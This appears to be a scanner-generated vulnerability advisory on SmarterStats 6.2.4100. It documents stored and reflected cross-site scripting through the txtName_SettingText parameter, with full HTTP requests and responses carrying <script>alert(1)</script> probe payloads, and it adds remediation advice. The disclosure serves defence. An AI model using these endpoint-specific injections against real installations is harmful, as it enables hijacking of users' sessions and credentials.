CVE-2011-4750, SmarterTools WebServer, CVE-2011-2151, CVE-2011-2155, CVE-2011-4751, CVE-2011-2154, CVE-2011-2158, CVE-2011-4752, Stored + Reflected XSS, SmarterTools 6.x (6.2.4100), Cross Site Scripting, CWE-79, CAPEC-86, SmarterStats Web Server

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Thu May 05 18:04:54 CDT 2011.

Prior report on Version 6.0 at URL SmarterStats 6.0 Report

CVE-2010-3425 | Reported by Hoyt LLC Research, August 2010 on SmarterStats 5.x

Proof of Concept, Stored XSS, SmarterStats 6.2.4100 - Reported May 5, 2011

XSS in SmarterStats 5.2.4100, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

We further comment the obvious that if an attacker were able to inject Javascript into the Application on Port 9999, Storing the Injection Vulnerability, the attack will execute when Reflected XSS out Port 80 on IIS Server.

Many Sites use the API exposed via the SmarterTools Web Server on a Public IP Address and/or for Backend Provisioning Systems and then have IIS on Port 80 for Public / End User Access

This is the cut and paste from the Helpfile: (Quoting) By default, SmarterStats installs a basic Web server that allows companies to start using the application immediately after installation. However, SmarterTools recommends moving to a more robust and secure Web server, such as Microsoft IIS.

1. Cross-site scripting (stored)

1.1. http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReport.aspx [ctl00%24MPH%24txtName_SettingText parameter]

1.2. http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReports.aspx [ctl00%24MPH%24txtName_SettingText parameter]

1.3. http://SmarterStats 6.x (6.2.4100):9999/Client/frmFavoriteReports.aspx [ctl00%24MPH%24txtName_SettingText parameter]

1.4. http://SmarterStats 6.x (6.2.4100):9999/Default.aspx [ctl00%24MPH%24txtName_SettingText parameter]

1.5. http://SmarterStats 6.x (6.2.4100):9999/Default.aspx [ctl00%24MPH%24txtName_SettingText parameter]

2. Cross-site scripting (reflected)

3. Cleartext submission of password

4. Password field with autocomplete enabled

5. Cross-domain Referer leakage

6. Cookie without HttpOnly flag set

7. Content type incorrectly stated

7.1. http://SmarterStats 6.x (6.2.4100):9999/Admin/frmViewReports.aspx

7.2. http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReport.aspx

7.3. http://SmarterStats 6.x (6.2.4100):9999/default.aspx

1. Cross-site scripting (stored) next
There are 5 instances of this issue:

/Client/frmCustomReport.aspx [ctl00%24MPH%24txtName_SettingText parameter]
/Client/frmCustomReports.aspx [ctl00%24MPH%24txtName_SettingText parameter]
/Client/frmFavoriteReports.aspx [ctl00%24MPH%24txtName_SettingText parameter]
/Default.aspx [ctl00%24MPH%24txtName_SettingText parameter]
/Default.aspx [ctl00%24MPH%24txtName_SettingText parameter]

Issue background

Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach targe users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReport.aspx [ctl00%24MPH%24txtName_SettingText parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Client/frmCustomReport.aspx

Issue detail

The value of the ctl00%24MPH%24txtName_SettingText request parameter submitted to the URL /Client/frmCustomReportItem.aspx is copied into the HTML document as plain text between tags at the URL /Client/frmCustomReport.aspx. The payload 8b487<script>alert(1)</script>4627a0c1662 was submitted in the ctl00%24MPH%24txtName_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Client/frmCustomReport.aspx.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request 1

POST /Client/frmCustomReportItem.aspx?guid=15cd76d1ae4a4eef814c39d9a94fdc04&updateLeft=true HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReportItem.aspx?guid=15cd76d1ae4a4eef814c39d9a94fdc04&updateLeft=true
Cache-Control: max-age=0
Origin: http://SmarterStats 6.x (6.2.4100):9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}; STTTState=
Content-Length: 18917

__EVENTTARGET=ctl00%24BrPH%24btnSave&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTczNjA3MTAzNw8WBh4QX19fUmVzdWx0RmFpbHVyZWUeEF9fX1Jlc3VsdFN1Y2Nlc3NlHhAtLWZyaWVuZGx5TmFtZS0tBRZTZWFyY2ggRW5naW5
...[SNIP]...
wNoZBYCZg8PFgIfA2hkFgICAQ9kFgJmDxBkEBUAFQAUKwMAFgBkZCW93%2FNxCVjSKpHp2XHxrVOJnet%2FMD2qRznVB3Z07GCL&ctl00%24MPH%24lstReports_SettingDropDown=Seo_SearchEngineRankings&ctl00%24MPH%24txtName_SettingText=8b487<script>alert(1)</script>4627a0c1662&ctl00%24MPH%24lstSortBy_SettingDropDown=searchrank&ctl00%24MPH%24lstChart_SettingDropDown=BAR3D&ctl00%24MPH%24lstValue1_SettingDropDown=searchrank

Request 2

GET /Client/frmCustomReport.aspx?guid=15cd76d1ae4a4eef814c39d9a94fdc04 HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReports.aspx?saved=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}; STTTState=

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:28:31 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 30060

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
Custom Report - SmarterSta
...[SNIP]...
<td>8b487<script>alert(1)</script>4627a0c1662</td>
...[SNIP]...

1.2. http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReports.aspx [ctl00%24MPH%24txtName_SettingText parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Client/frmCustomReports.aspx

Issue detail

The value of the ctl00%24MPH%24txtName_SettingText request parameter submitted to the URL /Client/frmCustomReport.aspx is copied into the HTML document as plain text between tags at the URL /Client/frmCustomReports.aspx. The payload 99e6d<script>alert(1)</script>0e9b4abed39 was submitted in the ctl00%24MPH%24txtName_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Client/frmCustomReports.aspx.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request 1

POST /Client/frmCustomReport.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReport.aspx
Origin: http://SmarterStats 6.x (6.2.4100):9999
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"AdminReports"}
Content-Length: 5835

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24btnSave&__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTEzMTYzNzU1MzUPFgQeEF9fX1Jlc3VsdEZhaWx1cmVlHhBfX19SZXN
...[SNIP]...
9wTw3zp0Q%2FFDJi2f%2FeUQCuswF2ojpPI3XqOVku3sEQ%3D&ctl00%24TPH%24TabStrip%24SelectedTab=ctl00_TPH_TabStrip_tabEditCustomReport&ctl00%24MPH%24VisiblePage=ctl00_MPH_PV1&ctl00%24MPH%24txtName_SettingText=99e6d<script>alert(1)</script>0e9b4abed39&ctl00%24MPH%24lstDateRange_SettingDropDown=Last7Days&ctl00%24MPH%24lstFilterSet_SettingDropDown=&ctl00%24MPH%24chkLockDateRange_SettingCheck=on&ctl00%24MPH%24chkLockFilterSet_SettingCheck=on&ctl00_MP
...[SNIP]...

Request 2

GET /Client/frmCustomReports.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Default.aspx?Impersonating=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"AdminReports"}

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:28:28 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 19252

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
Custom Reports - SmarterSt
...[SNIP]...
<td>99e6d<script>alert(1)</script>0e9b4abed39</td>
...[SNIP]...

1.3. http://SmarterStats 6.x (6.2.4100):9999/Client/frmFavoriteReports.aspx [ctl00%24MPH%24txtName_SettingText parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Client/frmFavoriteReports.aspx

Issue detail

The value of the ctl00%24MPH%24txtName_SettingText request parameter submitted to the URL /Client/frmFavoriteReport.aspx is copied into the HTML document as plain text between tags at the URL /Client/frmFavoriteReports.aspx. The payload 9dcad<script>alert(1)</script>6ed4303b6b8 was submitted in the ctl00%24MPH%24txtName_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Client/frmFavoriteReports.aspx.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request 1

POST /Client/frmFavoriteReport.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmFavoriteReport.aspx
Cache-Control: max-age=0
Origin: http://SmarterStats 6.x (6.2.4100):9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}
Content-Length: 7407

__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKMTQ5MDYzNTQ2Mg8WBh4QX19fUmVzdWx0RmFpbHVyZWUeEF9fX1Jlc3VsdFN1Y2Nlc3NlHhAtLWZyaWVuZGx5TmFtZS0tBQlUb3AgUGFnZXMWAmYP
...[SNIP]...
DxBkZBYAZAIED2QWAgIBD2QWAmYPEGRkFgBkAgUPZBYCAgEPZBYCZg8QZGQWAGRkE7bbszoUi5eY%2F0YWH%2FywQw%2Fs9w1lv9qYk8fxVnQ61No%3D&ctl00%24MPH%24ddReport_SettingDropDown=Top_Pages&ctl00%24MPH%24txtName_SettingText=9dcad<script>alert(1)</script>6ed4303b6b8&ctl00%24MPH%24lstRows_SettingDropDown=25&ctl00%24MPH%24lstSort_SettingDropDown=hits+desc&ctl00%24MPH%24lstChart_SettingDropDown=BAR&ctl00%24MPH%24lstValue1_SettingDropDown=hits&ctl00%24MPH%24lstValue
...[SNIP]...

Request 2

GET /Client/frmFavoriteReports.aspx?saved=true HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmFavoriteReport.aspx
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:28:31 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 15700

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
Favorite Reports - Smarter
...[SNIP]...
<td class="rc">9dcad<script>alert(1)</script>6ed4303b6b8</td>
...[SNIP]...

1.4. http://SmarterStats 6.x (6.2.4100):9999/Default.aspx [ctl00%24MPH%24txtName_SettingText parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Default.aspx

Issue detail

The value of the ctl00%24MPH%24txtName_SettingText request parameter submitted to the URL /Client/frmFavoriteReport.aspx is copied into the HTML document as plain text between tags at the URL /Default.aspx. The payload ee4d7<script>alert(1)</script>12234866cce was submitted in the ctl00%24MPH%24txtName_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Default.aspx.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request 1

POST /Client/frmFavoriteReport.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmFavoriteReport.aspx
Cache-Control: max-age=0
Origin: http://SmarterStats 6.x (6.2.4100):9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}
Content-Length: 7407

__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKMTQ5MDYzNTQ2Mg8WBh4QX19fUmVzdWx0RmFpbHVyZWUeEF9fX1Jlc3VsdFN1Y2Nlc3NlHhAtLWZyaWVuZGx5TmFtZS0tBQlUb3AgUGFnZXMWAmYP
...[SNIP]...
DxBkZBYAZAIED2QWAgIBD2QWAmYPEGRkFgBkAgUPZBYCAgEPZBYCZg8QZGQWAGRkE7bbszoUi5eY%2F0YWH%2FywQw%2Fs9w1lv9qYk8fxVnQ61No%3D&ctl00%24MPH%24ddReport_SettingDropDown=Top_Pages&ctl00%24MPH%24txtName_SettingText=ee4d7<script>alert(1)</script>12234866cce&ctl00%24MPH%24lstRows_SettingDropDown=25&ctl00%24MPH%24lstSort_SettingDropDown=hits+desc&ctl00%24MPH%24lstChart_SettingDropDown=BAR&ctl00%24MPH%24lstValue1_SettingDropDown=hits&ctl00%24MPH%24lstValue
...[SNIP]...

Request 2

POST /Default.aspx?Impersonating=true HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Default.aspx?Impersonating=true
Origin: http://SmarterStats 6.x (6.2.4100):9999
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}
Content-Length: 526

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24Split%24LP%24lnkUpdate&ctl00%24Split%24LP%24SessionKey=fbfb0eb1754a4f87995ee355c5a0dc3b&ctl00%24PageTitle=Custom%20Report&ctl00%24PanelLoadedSta
...[SNIP]...

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:28:34 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 48299

1|#||4|32173|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div class="PageTitle" id="SectionHeader">
   <div class="RoundedPageTitleLeft">
       <div class="RoundedPageTitleRight">

...[SNIP]...
<a class='htvA' href='#'>ee4d7<script>alert(1)</script>12234866cce</a>
...[SNIP]...

1.5. http://SmarterStats 6.x (6.2.4100):9999/Default.aspx [ctl00%24MPH%24txtName_SettingText parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Default.aspx

Issue detail

The value of the ctl00%24MPH%24txtName_SettingText request parameter submitted to the URL /Client/frmCustomReport.aspx is copied into the HTML document as plain text between tags at the URL /Default.aspx. The payload ea8f7<script>alert(1)</script>06dddfbc958 was submitted in the ctl00%24MPH%24txtName_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Default.aspx.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request 1

POST /Client/frmCustomReport.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmCustomReport.aspx
Origin: http://SmarterStats 6.x (6.2.4100):9999
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"AdminReports"}
Content-Length: 5835

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24btnSave&__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTEzMTYzNzU1MzUPFgQeEF9fX1Jlc3VsdEZhaWx1cmVlHhBfX19SZXN
...[SNIP]...
9wTw3zp0Q%2FFDJi2f%2FeUQCuswF2ojpPI3XqOVku3sEQ%3D&ctl00%24TPH%24TabStrip%24SelectedTab=ctl00_TPH_TabStrip_tabEditCustomReport&ctl00%24MPH%24VisiblePage=ctl00_MPH_PV1&ctl00%24MPH%24txtName_SettingText=ea8f7<script>alert(1)</script>06dddfbc958&ctl00%24MPH%24lstDateRange_SettingDropDown=Last7Days&ctl00%24MPH%24lstFilterSet_SettingDropDown=&ctl00%24MPH%24chkLockDateRange_SettingCheck=on&ctl00%24MPH%24chkLockFilterSet_SettingCheck=on&ctl00_MP
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:28:32 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 41841

1|#||4|27801|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div class="PageTitle" id="SectionHeader">
   <div class="RoundedPageTitleLeft">
       <div class="RoundedPageTitleRight">

...[SNIP]...
<a class='htvA' href='#'>ea8f7<script>alert(1)</script>06dddfbc958</a>
...[SNIP]...

2. Cross-site scripting (reflected) previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://SmarterStats 6.x (6.2.4100):9999
Path:	/Client/frmFavoriteReport.aspx

Issue detail

The value of the ctl00%24MPH%24txtName_SettingText request parameter is copied into the HTML document as plain text between tags. The payload 37158<script>alert(1)</script>778be321152 was submitted in the ctl00%24MPH%24txtName_SettingText parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

Request

POST /Client/frmFavoriteReport.aspx HTTP/1.1
Host: SmarterStats 6.x (6.2.4100):9999
Proxy-Connection: keep-alive
Referer: http://SmarterStats 6.x (6.2.4100):9999/Client/frmFavoriteReport.aspx
Cache-Control: max-age=0
Origin: http://SmarterStats 6.x (6.2.4100):9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3k3w33gcra52c2lpad1c1x3o; SelectedLanguage=; loginsettings=gaIINJuB6LFeXt60orgA2MucwKDnXGo0; STTTState=; STHashCookie={"CountsGuid":"99249445","TopBarSection":"UserWorkspace"}
Content-Length: 7407

__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKMTQ5MDYzNTQ2Mg8WBh4QX19fUmVzdWx0RmFpbHVyZWUeEF9fX1Jlc3VsdFN1Y2Nlc3NlHhAtLWZyaWVuZGx5TmFtZS0tBQlUb3AgUGFnZXMWAmYP
...[SNIP]...
AIED2QWAgIBD2QWAmYPEGRkFgBkAgUPZBYCAgEPZBYCZg8QZGQWAGRkE7bbszoUi5eY%2F0YWH%2FywQw%2Fs9w1lv9qYk8fxVnQ61No%3D&ctl00%24MPH%24ddReport_SettingDropDown=Top_Pages&ctl00%24MPH%24txtName_SettingText=Top+Pages37158<script>alert(1)</script>778be321152&ctl00%24MPH%24lstRows_SettingDropDown=25&ctl00%24MPH%24lstSort_SettingDropDown=hits+desc&ctl00%24MPH%24lstChart_SettingDropDown=BAR&ctl00%24MPH%24lstValue1_SettingDropDown=hits&ctl00%24MPH%24lstValue
...[SNIP]...

Response (redirected)

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4100.17146
Date: Thu, 05 May 2011 17:29:25 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 41272

